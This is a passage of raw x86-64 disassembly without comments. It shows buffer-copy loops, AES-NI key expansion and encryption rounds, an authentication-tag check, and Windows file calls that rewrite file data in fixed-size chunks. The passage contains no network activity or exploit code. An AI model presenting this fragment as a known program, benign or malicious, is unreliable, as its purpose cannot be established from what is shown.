cmp rdx, 0x1f
jbe 0x406ba0
mov ecx, eax
and ecx, 0x1f
mov edx, 0x20
cmove rcx, rdx
sub rax, rcx
xor ecx, ecx
nop dword [rax]
vmovdqu ymm0, ymmword [rbp + rcx]
vmovdqu ymmword [rbx + rcx], ymm0
add rcx, 0x20
cmp rax, rcx
jne 0x406b80
mov rcx, rax
jmp 0x406ba0
xor ecx, ecx
nop dword [rax + rax]
cmp r14, rcx
je 0x408158
movzx eax, byte [rbp + rcx]
mov byte [rbx + rcx], al
inc rcx
cmp r13, rcx
jne 0x406ba0
test rdi, rdi
je 0x406c5f
mov rax, r14
sub rax, r13
mov ecx, 0
lea rdx, [rdi - 1]
cmovb rax, rcx
cmp rax, rdx
cmovae rax, rdx
inc rax
cmp rax, 0x20
jbe 0x406bf6
lea rcx, [r13 + r15]
mov rdx, rcx
sub rdx, r12
cmp rdx, 0x20
jae 0x406bfa
xor eax, eax
jmp 0x406c34
mov edx, eax
and edx, 0x1f
mov r8d, 0x20
cmove rdx, r8
sub rax, rdx
xor edx, edx
add r13, rax
nop word cs:[rax + rax]
vmovdqu ymm0, ymmword [r12 + rdx]
vmovdqu ymmword [rcx + rdx], ymm0
add rdx, 0x20
cmp rax, rdx
jne 0x406c20
sub rdi, rax
add r12, rax
add r15, r13
xor eax, eax
nop
lea rcx, [r13 + rax]
cmp rcx, r14
jae 0x408158
movzx ecx, byte [r12 + rax]
mov byte [r15 + rax], cl
inc rax
cmp rdi, rax
jne 0x406c40
mov rax, qword [rsp + 0xe8]
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x1d0]
mov r8, rbx
mov r9, r14
mov qword [rsp + 0x1d0], rax
vzeroupper
call fcn.00402790
movzx eax, word [rsp + 0x198]
mov dword [rsp + 0x58], eax
test ax, ax
jne 0x406d70
mov rcx, qword [rsp + 0x88]
inc rsi
cmp rsi, qword [rcx + 8]
jb 0x406ad5
inc qword [rsp + 0xf0]
je 0x40819a
mov rbx, qword [rcx + 0x18]
mov rdi, qword [rcx + 0x20]
mov r14, qword [rcx + 0x10]
test r14, r14
je 0x406cec
mov rax, r14
shr rax, 0x3b
jne 0x40819a
mov rsi, qword [rcx]
shl r14, 5
jmp 0x406cf9
movabs rsi, 0xaaaaaaaaaaaaaaaa
xor r14d, r14d
test r14, r14
je 0x406d27
mov dl, 0xaa
mov rcx, rsi
mov r8, r14
call fcn.0044c710
mov rax, qword [rsp + 0xce8]
mov r9b, 3
mov rcx, rbx
mov rdx, rsi
mov r8, r14
mov qword [rsp + 0x20], rax
call qword [rdi + 0x10]
mov rcx, qword [rsp + 0xe8]
call sub.ntdll.dll_NtClose
mov rdi, qword [rsp + 0xf0]
lea rcx, [rsp + 0xab0]
lea rsi, [rsp + 0x1b0]
test eax, eax
je 0x406011
lea rcx, [0x0045177e]
mov edx, 0x18
xor r9d, r9d
call fcn.00401000
mov ax, 0x1f
mov dword [rsp + 0x58], eax
mov r15d, dword [rsp + 0x58]
vmovaps xmm6, xmmword [rsp + 0xc00]
vmovaps xmm7, xmmword [rsp + 0xc10]
vmovaps xmm8, xmmword [rsp + 0xc20]
vmovaps xmm9, xmmword [rsp + 0xc30]
vmovaps xmm10, xmmword [rsp + 0xc40]
vmovaps xmm11, xmmword [rsp + 0xc50]
vmovaps xmm12, xmmword [rsp + 0xc60]
vmovaps xmm13, xmmword [rsp + 0xc70]
vmovaps xmm14, xmmword [rsp + 0xc80]
vmovaps xmm15, xmmword [rsp + 0xc90]
mov eax, r15d
add rsp, 0xca8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
vzeroupper
ret
mov r15d, eax
jmp 0x406df3
mov r15w, 0x1f
mov rbp, qword [rsp + 0x90]
mov r12, qword [rsp + 0xd0]
jmp 0x405ef3
vmovaps xmm7, xmmword [rsp + 0x1e0]
lea rcx, [rsp + 0xb30]
lea rsi, [rsp + 0x1b0]
lea rbp, [rsp + 0x390]
xor r15d, r15d
cmp r15, rax
jae 0x408124
mov rax, r15
shl rax, 4
mov qword [rsp + 0x340], r15
mov rdx, qword [r8 + rax]
mov r8, qword [r8 + rax + 8]
call fcn.00401930
movzx r15d, word [rsp + 0xba0]
test r15w, r15w
jne 0x406d75
mov rdx, qword [rsp + 0xb70]
mov r14, qword [rsp + 0xb90]
mov rcx, rsi
mov qword [rsp + 0x208], rdx
call fcn.00401f30
movzx eax, word [rsp + 0x1c0]
mov dword [rsp + 0x58], eax
test ax, ax
jne 0x406d70
mov rdx, qword [rsp + 0x1b8]
movabs rax, 0xe38e38e38e38e38f
mov r8, qword [rsp + 0x1b0]
xor r9d, r9d
mov r10, 0xfffffffffffffff0
mov r11, 0xffffffffffffffd0
mov r12, 0xffffffffffffffe0
mulx rax, rax, rax
lea r13, [r8 + 0x70]
mov qword [rsp + 0x1a0], r14
mov qword [rsp + 0x350], r8
mov qword [rsp + 0x348], rdx
shr rax, 7
mov rcx, rax
shl rcx, 4
lea rcx, [rcx + rcx*8]
cmp rdx, rcx
lea rcx, [r8 + 7]
setne r9b
mov qword [rsp + 0x228], rcx
mov rcx, r8
xor esi, esi
add r9, rax
mov eax, 0x10
mov qword [rsp + 0x368], r9
lea r9, [r8 + 0x10]
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], r9
mov r9d, 0x90
jmp 0x4070b7
mov ecx, dword [rsp + 0xb8]
lea rdx, [rsp + 0x150]
mov byte [rax], cl
mov ecx, dword [rsp + 0xa8]
mov byte [rax + 1], cl
mov ecx, dword [rsp + 0xb0]
mov byte [rax + 2], cl
mov ecx, dword [rsp + 0x88]
mov byte [rax + 3], cl
mov ecx, dword [rsp + 0x80]
mov byte [rax + 4], cl
mov ecx, dword [rsp + 0x68]
mov byte [rax + 5], cl
mov ecx, dword [rsp + 0x148]
mov byte [rax + 6], cl
mov ecx, dword [rsp + 0x140]
mov byte [rax + 7], cl
mov ecx, dword [rsp + 0xe8]
mov byte [rax + 8], cl
mov ecx, dword [rsp + 0xf0]
mov byte [rax + 9], cl
mov ecx, dword [rsp + 0x10c]
mov byte [rax + 0xa], cl
mov ecx, dword [rsp + 0x108]
mov byte [rax + 0xb], cl
mov ecx, dword [rsp + 0x104]
mov byte [rax + 0xc], cl
mov ecx, dword [rsp + 0x100]
mov byte [rax + 0xd], cl
mov ecx, dword [rsp + 0xfc]
mov byte [rax + 0xe], cl
mov ecx, dword [rsp + 0xf8]
mov byte [rax + 0xf], cl
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], rsi
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 0x10
mov rcx, r14
mov word [rsp + 0x170], 0
vzeroupper
call fcn.00402550
mov r9, qword [rsp + 0x380]
mov r10, qword [rsp + 0x378]
mov rcx, qword [rsp + 0x238]
mov r11, qword [rsp + 0x370]
mov r12, qword [rsp + 0x230]
add qword [rsp + 0x218], 0x90
add qword [rsp + 0x228], 0x90
add qword [rsp + 0x210], 0x90
mov r8, qword [rsp + 0x350]
mov rdx, qword [rsp + 0x348]
mov rsi, qword [rsp + 0x388]
add r13, 0x90
add r9, 0x90
add r10, 0xffffffffffffff70
add rcx, 0x90
add r11, 0xffffffffffffff70
add r12, 0xffffffffffffff70
test ax, ax
jne 0x406d6c
lea rbx, [rsi + rsi*8]
cmp rdx, r9
mov rdi, r9
cmovb rdi, rdx
shl rbx, 4
add rbx, 0x90
cmp rdx, rbx
cmovb rbx, rdx
cmp rsi, qword [rsp + 0x368]
je 0x407e83
movabs rax, 0x1c71c71c71c71c7
mov qword [rsp + 0x238], rcx
cmp rsi, rax
je 0x40819a
mov eax, edi
and eax, 0xf
lea rbp, [rdi + r10]
mov qword [rsp + 0x1a8], rdi
mov r14, 0xfffffffffffffff0
mov r15, 0xffffffffffffffef
mov qword [rsp + 0x220], rax
lea rax, [rdi + r11]
mov qword [rsp + 0x360], rax
mov rax, rdi
mov rax, rsi
shl rax, 4
mov rdi, rbp
and rdi, 0xffffffffffffff80
inc rsi
lea rax, [rax + rax*8]
mov rcx, rdi
neg rcx
mov qword [rsp + 0x388], rsi
mov qword [rsp + 0x358], rcx
mov rcx, rbx
sub rcx, rax
sub r15, rax
add rcx, 0xfffffffffffffff0
add r15, rbx
mov qword [rsp + 0x240], rcx
sub r14, rax
sub r14, r8
mov rcx, rsi
shl rcx, 4
lea rsi, [rcx + rcx*8]
cmp rsi, rdx
cmovae rsi, rdx
sub rsi, rax
jb 0x4081ae
je 0x408158
cmp rsi, 1
je 0x408158
cmp rsi, 2
je 0x408158
cmp rsi, 3
je 0x408158
cmp rsi, 4
je 0x408158
cmp rsi, 5
je 0x408158
cmp rsi, 6
je 0x408158
cmp rsi, 7
je 0x408158
cmp rsi, 8
je 0x408158
cmp rsi, 9
je 0x408158
cmp rsi, 0xa
je 0x408158
cmp rsi, 0xb
je 0x408158
cmp rsi, 0xc
je 0x408158
lea rcx, [rsi - 0xd]
cmp rcx, 2
jbe 0x408158
sub rsi, 0x10
jb 0x40819a
mov cx, 0x1f
mov dword [rsp + 0x58], ecx
xor ecx, ecx
test cl, cl
jne 0x406d70
movzx ecx, byte [r8 + rax]
mov qword [rsp + 0x230], r12
mov qword [rsp + 0x370], r11
mov qword [rsp + 0x378], r10
mov qword [rsp + 0x380], r9
mov dword [rsp + 0xb8], ecx
movzx ecx, byte [r8 + rax + 1]
mov dword [rsp + 0xa8], ecx
movzx ecx, byte [r8 + rax + 2]
mov dword [rsp + 0xb0], ecx
movzx ecx, byte [r8 + rax + 3]
mov dword [rsp + 0x88], ecx
movzx ecx, byte [r8 + rax + 4]
mov dword [rsp + 0x80], ecx
movzx ecx, byte [r8 + rax + 5]
mov dword [rsp + 0x68], ecx
movzx ecx, byte [r8 + rax + 6]
mov dword [rsp + 0x148], ecx
movzx ecx, byte [r8 + rax + 7]
mov dword [rsp + 0x140], ecx
movzx ecx, byte [r8 + rax + 8]
mov dword [rsp + 0xe8], ecx
movzx ecx, byte [r8 + rax + 9]
mov dword [rsp + 0xf0], ecx
movzx ecx, byte [r8 + rax + 0xa]
mov dword [rsp + 0x10c], ecx
movzx ecx, byte [r8 + rax + 0xb]
mov dword [rsp + 0x108], ecx
movzx ecx, byte [r8 + rax + 0xc]
mov dword [rsp + 0x104], ecx
movzx ecx, byte [r8 + rax + 0xd]
mov dword [rsp + 0x100], ecx
movzx ecx, byte [r8 + rax + 0xe]
movzx eax, byte [r8 + rax + 0xf]
mov dword [rsp + 0xfc], ecx
mov dword [rsp + 0xf8], eax
test rsi, rsi
je 0x407396
lea rcx, [section..data]
mov rdx, rsi
xor r8d, r8d
call fcn.004081f0
test rax, rax
je 0x406d70
mov dl, 0xaa
mov r12, rax
mov rcx, rax
mov r8, rsi
call fcn.0044c710
mov r11, qword [rsp + 0x240]
mov eax, 0x10
cmp r11, 0x10
jb 0x4073b3
add r14, r12
mov ecx, 0
cmp r14, 0x80
jb 0x407471
cmp r11, 0x80
jae 0x4073c7
xor ecx, ecx
jmp 0x407423
mov r12, 0xffffffffffffffff
mov rdi, 0xffffffffffffffff
xor eax, eax
test al, al
je 0x407575
jmp 0x406d70
xor ecx, ecx
mov edx, ebx
sub edx, ecx
test dl, 7
jne 0x40747a
jmp 0x4074bd
mov rcx, r11
and rcx, 0xffffffffffffff80
xor eax, eax
vmovdqu ymm0, ymmword [r13 + rax - 0x60]
vmovdqu ymm1, ymmword [r13 + rax - 0x40]
vmovdqu ymm2, ymmword [r13 + rax - 0x20]
vmovdqu ymm3, ymmword [r13 + rax]
vmovdqu ymmword [r12 + rax], ymm0
vmovdqu ymmword [r12 + rax + 0x20], ymm1
vmovdqu ymmword [r12 + rax + 0x40], ymm2
vmovdqu ymmword [r12 + rax + 0x60], ymm3
sub rax, 0xffffffffffffff80
cmp rdi, rax
jne 0x4073d0
cmp r11, rcx
je 0x40753d
test r11b, 0x70
je 0x4074ad
mov rax, qword [rsp + 0x218]
mov r10, rbp
sub r10, rcx
sub r10, qword [rsp + 0x220]
mov edx, ebx
and edx, 0xf
lea r9, [r12 + rcx]
lea r8, [rax + rcx]
mov rcx, r11
sub rcx, rdx
xor r11d, r11d
lea rax, [rcx + 0x10]
vmovdqu xmm0, xmmword [r8 + r11]
vmovdqu xmmword [r9 + r11], xmm0
add r11, 0x10
cmp r10, r11
jne 0x407453
test rdx, rdx
je 0x40753d
mov edx, ebx
sub edx, ecx
test dl, 7
je 0x4074bd
mov r10, qword [rsp + 0x238]
mov rdx, qword [rsp + 0x1a8]
sub dl, cl
movzx r8d, dl
mov rdx, rcx
and r8d, 7
movzx r9d, byte [r10 + rax]
inc rax
mov byte [r12 + rdx], r9b
inc rdx
dec r8
jne 0x407497
jmp 0x4074c0
mov rax, rcx
or rax, 0x10
mov edx, ebx
sub edx, ecx
test dl, 7
jne 0x40747a
mov rdx, rcx
mov r8, r15
sub r8, rcx
cmp r8, 7
jb 0x40753d
add rax, qword [rsp + 0x228]
lea rcx, [r12 + rdx + 7]
sub rbp, rdx
xor edx, edx
movzx r8d, byte [rax + rdx - 7]
mov byte [rcx + rdx - 7], r8b
movzx r8d, byte [rax + rdx - 6]
mov byte [rcx + rdx - 6], r8b
movzx r8d, byte [rax + rdx - 5]
mov byte [rcx + rdx - 5], r8b
movzx r8d, byte [rax + rdx - 4]
mov byte [rcx + rdx - 4], r8b
movzx r8d, byte [rax + rdx - 3]
mov byte [rcx + rdx - 3], r8b
movzx r8d, byte [rax + rdx - 2]
mov byte [rcx + rdx - 2], r8b
movzx r8d, byte [rax + rdx - 1]
mov byte [rcx + rdx - 1], r8b
movzx r8d, byte [rax + rdx]
mov byte [rcx + rdx], r8b
add rdx, 8
cmp rbp, rdx
jne 0x4074de
xor eax, eax
test al, al
jne 0x406d70
lea rcx, [section..data]
mov rdx, rsi
xor r8d, r8d
vzeroupper
call fcn.004081f0
test rax, rax
je 0x406d70
mov dl, 0xaa
mov rdi, rax
mov rcx, rax
mov r8, rsi
call fcn.0044c710
lea r9, [rsi - 1]
mov eax, 1
vmovaps xmm0, xmmword [rsp + 0x130]
lea rbp, [rsp + 0x390]
shr r9, 4
mov rcx, rbp
add r9, 2
cmp rsi, 1
cmovb r9, rax
vaeskeygenassist xmm1, xmm7, 1
vpslldq xmm2, xmm0, 4
vpxor xmm9, xmm0, xmm2
vpslldq xmm2, xmm9, 8
vpxor xmm9, xmm9, xmm2
vpshufd xmm2, xmm1, 0xff
vpxor xmm9, xmm9, xmm2
vaeskeygenassist xmm2, xmm9, 1
vpslldq xmm3, xmm7, 4
vpxor xmm1, xmm7, xmm3
vpslldq xmm3, xmm1, 8
vpxor xmm1, xmm1, xmm3
vpshufd xmm3, xmm2, 0xaa
vpxor xmm1, xmm1, xmm3
vaeskeygenassist xmm3, xmm1, 2
vpslldq xmm4, xmm9, 4
vpxor xmm2, xmm9, xmm4
vpslldq xmm4, xmm2, 8
vpxor xmm2, xmm2, xmm4
vpshufd xmm4, xmm3, 0xff
vpxor xmm2, xmm2, xmm4
vaeskeygenassist xmm4, xmm2, 2
vpslldq xmm5, xmm1, 4
vpxor xmm3, xmm1, xmm5
vpslldq xmm5, xmm3, 8
vpxor xmm3, xmm3, xmm5
vpshufd xmm5, xmm4, 0xaa
vpxor xmm3, xmm3, xmm5
vaeskeygenassist xmm5, xmm3, 4
vpslldq xmm6, xmm2, 4
vpxor xmm4, xmm2, xmm6
vpslldq xmm6, xmm4, 8
vpxor xmm4, xmm4, xmm6
vpshufd xmm6, xmm5, 0xff
vpxor xmm4, xmm4, xmm6
vaeskeygenassist xmm6, xmm4, 4
vpslldq xmm8, xmm3, 4
vpxor xmm5, xmm8, xmm3
vpslldq xmm8, xmm5, 8
vpxor xmm5, xmm8, xmm5
vpshufd xmm8, xmm6, 0xaa
vpxor xmm5, xmm8, xmm5
vaeskeygenassist xmm6, xmm5, 8
vpslldq xmm8, xmm4, 4
vpxor xmm10, xmm8, xmm4
vpslldq xmm8, xmm10, 8
vpxor xmm10, xmm10, xmm8
vpshufd xmm8, xmm6, 0xff
vpxor xmm10, xmm10, xmm8
vaeskeygenassist xmm6, xmm10, 8
vpslldq xmm8, xmm5, 4
vpxor xmm11, xmm8, xmm5
vpslldq xmm8, xmm11, 8
vpxor xmm11, xmm11, xmm8
vpshufd xmm8, xmm6, 0xaa
vpxor xmm11, xmm11, xmm8
vaeskeygenassist xmm6, xmm11, 0x10
vpslldq xmm8, xmm10, 4
vpxor xmm12, xmm10, xmm8
vpslldq xmm8, xmm12, 8
vpxor xmm12, xmm12, xmm8
vpshufd xmm8, xmm6, 0xff
vpxor xmm12, xmm12, xmm8
vaeskeygenassist xmm6, xmm12, 0x10
vpslldq xmm8, xmm11, 4
vpxor xmm13, xmm11, xmm8
vpslldq xmm8, xmm13, 8
vpxor xmm13, xmm13, xmm8
vpshufd xmm8, xmm6, 0xaa
vpxor xmm13, xmm13, xmm8
vaeskeygenassist xmm6, xmm13, 0x20
vpslldq xmm8, xmm12, 4
vpxor xmm14, xmm12, xmm8
vpslldq xmm8, xmm14, 8
vpxor xmm14, xmm14, xmm8
vpshufd xmm8, xmm6, 0xff
vpxor xmm14, xmm14, xmm8
vaeskeygenassist xmm6, xmm14, 0x20
vpslldq xmm8, xmm13, 4
vpxor xmm0, xmm13, xmm8
vpslldq xmm8, xmm0, 8
vpxor xmm0, xmm8, xmm0
vpshufd xmm8, xmm6, 0xaa
vpxor xmm0, xmm8, xmm0
vaeskeygenassist xmm6, xmm0, 0x40
vpslldq xmm8, xmm14, 4
vpxor xmm15, xmm14, xmm8
vpslldq xmm8, xmm15, 8
vpxor xmm15, xmm15, xmm8
vpshufd xmm8, xmm6, 0xff
vpxor xmm15, xmm15, xmm8
vmovaps xmm8, xmm0
vmovaps xmm0, xmmword [rsp + 0x130]
vmovaps xmmword [rsp + 0x90], xmm15
vaesenc xmm6, xmm0, xmm7
vaesenc xmm6, xmm6, xmm9
vaesenc xmm6, xmm6, xmm1
vaesenc xmm6, xmm6, xmm2
vaesenc xmm6, xmm6, xmm3
vaesenc xmm6, xmm6, xmm4
vaesenc xmm6, xmm6, xmm5
vaesenc xmm6, xmm6, xmm10
vaesenc xmm6, xmm6, xmm11
vaesenc xmm6, xmm6, xmm12
vaesenc xmm6, xmm6, xmm13
vaesenc xmm6, xmm6, xmm14
vmovaps xmm15, xmm8
vaesenc xmm6, xmm6, xmm8
vmovaps xmm8, xmmword [rsp + 0xd0]
vmovaps xmmword [rsp + 0x250], xmm0
vmovaps xmmword [rsp + 0x260], xmm7
vmovaps xmmword [rsp + 0x270], xmm9
vmovaps xmm0, xmmword [rsp + 0x90]
vaesenclast xmm6, xmm6, xmm0
vaesenc xmm8, xmm8, xmm7
vaesenc xmm0, xmm8, xmm9
vaesenc xmm0, xmm0, xmm1
vmovaps xmmword [rsp + 0x280], xmm1
vmovaps xmm1, xmmword [rsp + 0x90]
vmovq rdx, xmm6
vpextrq r8, xmm6, 1
vaesenc xmm0, xmm0, xmm2
vaesenc xmm0, xmm0, xmm3
vaesenc xmm0, xmm0, xmm4
vaesenc xmm0, xmm0, xmm5
vaesenc xmm0, xmm0, xmm10
vaesenc xmm0, xmm0, xmm11
vaesenc xmm0, xmm0, xmm12
vaesenc xmm0, xmm0, xmm13
vaesenc xmm0, xmm0, xmm14
vmovdqa xmmword [rsp + 0x290], xmm2
vmovdqa xmmword [rsp + 0x2a0], xmm3
vmovaps xmmword [rsp + 0x2b0], xmm4
vmovaps xmmword [rsp + 0x2c0], xmm5
vmovaps xmmword [rsp + 0x2d0], xmm10
vaesenc xmm0, xmm0, xmm15
vmovaps xmmword [rsp + 0x2e0], xmm11
vmovaps xmmword [rsp + 0x2f0], xmm12
vmovaps xmmword [rsp + 0x300], xmm13
vmovaps xmmword [rsp + 0x310], xmm14
vmovaps xmmword [rsp + 0x320], xmm15
vaesenclast xmm10, xmm0, xmm1
vmovaps xmmword [rsp + 0x330], xmm1
call fcn.00409970
movabs rdx, 0xaaaaaaaaaaaaaaaa
mov rcx, rbp
xor r8d, r8d
call fcn.00409f80
mov rax, qword [rsp + 0x4b0]
lea r14, [rsp + 0x4a0]
test rax, rax
je 0x40792b
cmp rax, 0xf
ja 0x40790e
mov r8d, 0x10
lea rcx, [rsp + rax + 0x4a0]
xor edx, edx
sub r8, rax
call fcn.0044c710
mov r8d, 0x10
mov rcx, rbp
mov rdx, r14
call fcn.0040c5f0
mov qword [rsp + 0x4b0], 0
mov rcx, rbp
mov rdx, r12
mov r8, rsi
call fcn.00409f80
mov rax, qword [rsp + 0x4b0]
test rax, rax
je 0x407981
cmp rax, 0xf
ja 0x407964
mov r8d, 0x10
lea rcx, [rsp + rax + 0x4a0]
xor edx, edx
sub r8, rax
call fcn.0044c710
mov r8d, 0x10
mov rcx, rbp
mov rdx, r14
call fcn.0040c5f0
mov qword [rsp + 0x4b0], 0
mov rax, rsi
shr rax, 0x3d
mov qword [rsp + 0x110], 0
jne 0x40819a
lea rax, [rsi*8]
mov r8d, 0x10
lea rdx, [rsp + 0x110]
mov rcx, rbp
movbe qword [rsp + 0x118], rax
call fcn.00409f80
mov rax, qword [rsp + 0x4b0]
test rax, rax
je 0x4079fe
cmp rax, 0xf
ja 0x4079ed
mov r8d, 0x10
lea rcx, [rsp + rax + 0x4a0]
xor edx, edx
sub r8, rax
call fcn.0044c710
mov r8d, 0x10
mov rcx, rbp
mov rdx, r14
call fcn.0040c5f0
movbe rax, qword [rsp + 0x498]
vxorps xmm1, xmm1, xmm1
mov ecx, eax
shr ecx, 8
vmovd xmm0, eax
vpinsrb xmm0, xmm0, ecx, 1
mov ecx, eax
shr ecx, 0x10
vpinsrb xmm0, xmm0, ecx, 2
mov ecx, eax
shr ecx, 0x18
vpinsrb xmm0, xmm0, ecx, 3
mov rcx, rax
shr rcx, 0x20
vpinsrb xmm0, xmm0, ecx, 4
mov rcx, rax
shr rcx, 0x28
vpinsrb xmm0, xmm0, ecx, 5
mov rcx, rax
shr rcx, 0x30
shr rax, 0x38
vpinsrb xmm0, xmm0, ecx, 6
movbe rcx, qword [rsp + 0x490]
vmovups ymmword [rsp + 0x390], ymm1
vmovups ymmword [rsp + 0x3b0], ymm1
vmovups ymmword [rsp + 0x3d0], ymm1
vmovups ymmword [rsp + 0x3f0], ymm1
vmovups ymmword [rsp + 0x410], ymm1
vmovups ymmword [rsp + 0x430], ymm1
vmovups ymmword [rsp + 0x450], ymm1
vmovups ymmword [rsp + 0x470], ymm1
vmovups ymmword [rsp + 0x490], ymm1
mov qword [rsp + 0x4b0], 0
mov qword [rsp + 0x4b8], 0
vmovd xmm1, dword [rsp + 0xb8]
vpinsrb xmm0, xmm0, eax, 7
vpinsrb xmm1, xmm1, byte [rsp + 0xa8], 1
mov eax, ecx
shr eax, 8
vpinsrb xmm0, xmm0, ecx, 8
vpinsrb xmm0, xmm0, eax, 9
mov eax, ecx
shr eax, 0x10
vpinsrb xmm1, xmm1, byte [rsp + 0xb0], 2
vpinsrb xmm0, xmm0, eax, 0xa
mov eax, ecx
shr eax, 0x18
vpinsrb xmm0, xmm0, eax, 0xb
mov rax, rcx
shr rax, 0x20
vpinsrb xmm1, xmm1, byte [rsp + 0x88], 3
vpinsrb xmm0, xmm0, eax, 0xc
mov rax, rcx
shr rax, 0x28
vpinsrb xmm0, xmm0, eax, 0xd
mov rax, rcx
shr rax, 0x30
shr rcx, 0x38
vpinsrb xmm1, xmm1, byte [rsp + 0x80], 4
vpinsrb xmm0, xmm0, eax, 0xe
vpinsrb xmm0, xmm0, ecx, 0xf
vpinsrb xmm1, xmm1, byte [rsp + 0x68], 5
vpinsrb xmm1, xmm1, byte [rsp + 0x148], 6
vpinsrb xmm1, xmm1, byte [rsp + 0x140], 7
vpinsrb xmm1, xmm1, byte [rsp + 0xe8], 8
vpinsrb xmm1, xmm1, byte [rsp + 0xf0], 9
vpinsrb xmm1, xmm1, byte [rsp + 0x10c], 0xa
vpinsrb xmm1, xmm1, byte [rsp + 0x108], 0xb
vpinsrb xmm1, xmm1, byte [rsp + 0x104], 0xc
vpinsrb xmm1, xmm1, byte [rsp + 0x100], 0xd
vpinsrb xmm1, xmm1, byte [rsp + 0xfc], 0xe
vpinsrb xmm1, xmm1, byte [rsp + 0xf8], 0xf
vpxor xmm1, xmm10, xmm1
vpxor xmm0, xmm1, xmm0
vptest xmm0, xmm0
jne 0x40808e
movabs rax, 0x200000000000000
lea rcx, [rsp + 0x250]
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x28], 0
mov rdx, rdi
mov r8, rsi
mov r9, r12
mov qword [rsp + 0x30], rax
vzeroupper
call fcn.0040a0d0
xor eax, eax
test al, al
jne 0x406d70
test rsi, rsi
je 0x407c65
lea rcx, [section..data]
mov rdx, rsi
xor r8d, r8d
call fcn.004081f0
mov r14, qword [rsp + 0x1a0]
test rax, rax
je 0x406d70
mov dl, 0xaa
mov r12, rax
mov rcx, rax
mov r8, rsi
call fcn.0044c710
jmp 0x407c74
mov r14, qword [rsp + 0x1a0]
mov r12, 0xffffffffffffffff
xor eax, eax
test al, al
jne 0x406d70
mov edx, 0x10
lea rcx, [section..data]
xor r8d, r8d
call fcn.004081f0
test rax, rax
je 0x406d70
vpbroadcastb xmm0, byte [0x004501b0]
mov r9, qword [rsp + 0x240]
vmovdqu xmmword [rax], xmm0
test rsi, rsi
je 0x406f43
mov rcx, rsi
cmp r9, 0x10
jae 0x407d62
mov r8, rcx
and r8, 7
mov rdx, rcx
je 0x407cec
mov r9, rcx
movzx r10d, byte [rdi + r9 - 1]
lea rdx, [r9 - 1]
dec r8
mov byte [r12 + r9 - 1], r10b
mov r9, rdx
jne 0x407cd5
dec rcx
cmp rcx, 7
jb 0x406f43
mov rcx, rdx
movzx r8d, byte [rdi + rdx - 1]
add rcx, 0xfffffffffffffff8
mov byte [r12 + rdx - 1], r8b
movzx r8d, byte [rdi + rdx - 2]
mov byte [r12 + rdx - 2], r8b
movzx r8d, byte [rdi + rdx - 3]
mov byte [r12 + rdx - 3], r8b
movzx r8d, byte [rdi + rdx - 4]
mov byte [r12 + rdx - 4], r8b
movzx r8d, byte [rdi + rdx - 5]
mov byte [r12 + rdx - 5], r8b
movzx r8d, byte [rdi + rdx - 6]
mov byte [r12 + rdx - 6], r8b
movzx r8d, byte [rdi + rdx - 7]
mov byte [r12 + rdx - 7], r8b
movzx r8d, byte [rdi + rdx - 8]
mov byte [r12 + rdx - 8], r8b
mov rdx, rcx
jne 0x407cfc
jmp 0x406f43
lea rdx, [r12 + r15]
mov rcx, rsi
cmp r12, rdx
ja 0x407cc6
add r15, rdi
mov rcx, rsi
cmp rdi, r15
ja 0x407cc6
mov rdx, rdi
sub rdx, r12
mov rcx, rsi
cmp rdx, 0x80
jb 0x407cc6
cmp r9, 0x80
jae 0x407da4
xor edx, edx
jmp 0x407e13
mov r10, qword [rsp + 0x360]
mov r11, qword [rsp + 0x358]
mov rdx, r9
and rdx, 0xffffffffffffff80
xor r8d, r8d
lea rcx, [r12 + r10]
add r10, rdi
vmovdqu ymm0, ymmword [r10 + r8 - 0x60]
vmovdqu ymm1, ymmword [r10 + r8 - 0x40]
vmovdqu ymm2, ymmword [r10 + r8 - 0x20]
vmovdqu ymm3, ymmword [r10 + r8]
vmovdqu ymmword [rcx + r8], ymm3
vmovdqu ymmword [rcx + r8 - 0x20], ymm2
vmovdqu ymmword [rcx + r8 - 0x40], ymm1
vmovdqu ymmword [rcx + r8 - 0x60], ymm0
add r8, 0xffffffffffffff80
cmp r11, r8
jne 0x407dc5
cmp r9, rdx
je 0x406f43
test r9b, 0x70
je 0x407e78
and ebx, 0xf
mov r10, qword [rsp + 0x1a8]
mov rcx, rsi
mov r8, rbx
sub r8, r9
add rcx, r8
mov r8, qword [rsp + 0x230]
add r8, r10
sub r8, rdx
add rdx, qword [rsp + 0x210]
add rdx, qword [rsp + 0x220]
lea r9, [r12 + r8]
add r8, rdi
sub rdx, r10
xor r10d, r10d
vmovdqu xmm0, xmmword [r8 + r10]
vmovdqu xmmword [r9 + r10], xmm0
add r10, 0xfffffffffffffff0
cmp rdx, r10
jne 0x407e55
test rbx, rbx
jne 0x407cc6
jmp 0x406f43
mov rcx, rsi
sub rcx, rdx
jmp 0x407cc6
mov r12, qword [rsp + 0x208]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
mov rcx, r12
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x408066
cmp qword [r14 + 8], 0
je 0x407f04
mov esi, 8
xor edi, edi
mov rax, qword [r14]
mov qword [rsp + 0x1d0], r12
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x1d0]
mov r8, qword [rax + rsi - 8]
mov r9, qword [rax + rsi]
call fcn.00402790
movzx eax, word [rsp + 0x198]
mov dword [rsp + 0x58], eax
test ax, ax
jne 0x406d70
mov r12, qword [rsp + 0x208]
inc rdi
add rsi, 0x20
cmp rdi, qword [r14 + 8]
jb 0x407eb1
movabs rax, 0xaaaaaaaaaaaaaaaa
mov r9d, 1
mov rcx, r12
xor edx, edx
mov r8, rbp
mov qword [rsp + 0x390], rax
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x40812c
mov rdx, qword [rsp + 0x390]
mov rcx, r12
call fcn.004028f0
test ax, ax
jne 0x408150
mov r15, qword [rsp + 0x340]
inc r15
je 0x40819a
mov rax, r14
mov rsi, qword [r14 + 0x18]
mov r14, qword [r14 + 0x20]
mov rdi, qword [rax + 0x10]
test rdi, rdi
je 0x407f8d
mov rax, rdi
shr rax, 0x3b
jne 0x40819a
mov rax, qword [rsp + 0x1a0]
shl rdi, 5
mov rbx, qword [rax]
jmp 0x407f99
movabs rbx, 0xaaaaaaaaaaaaaaaa
xor edi, edi
test rdi, rdi
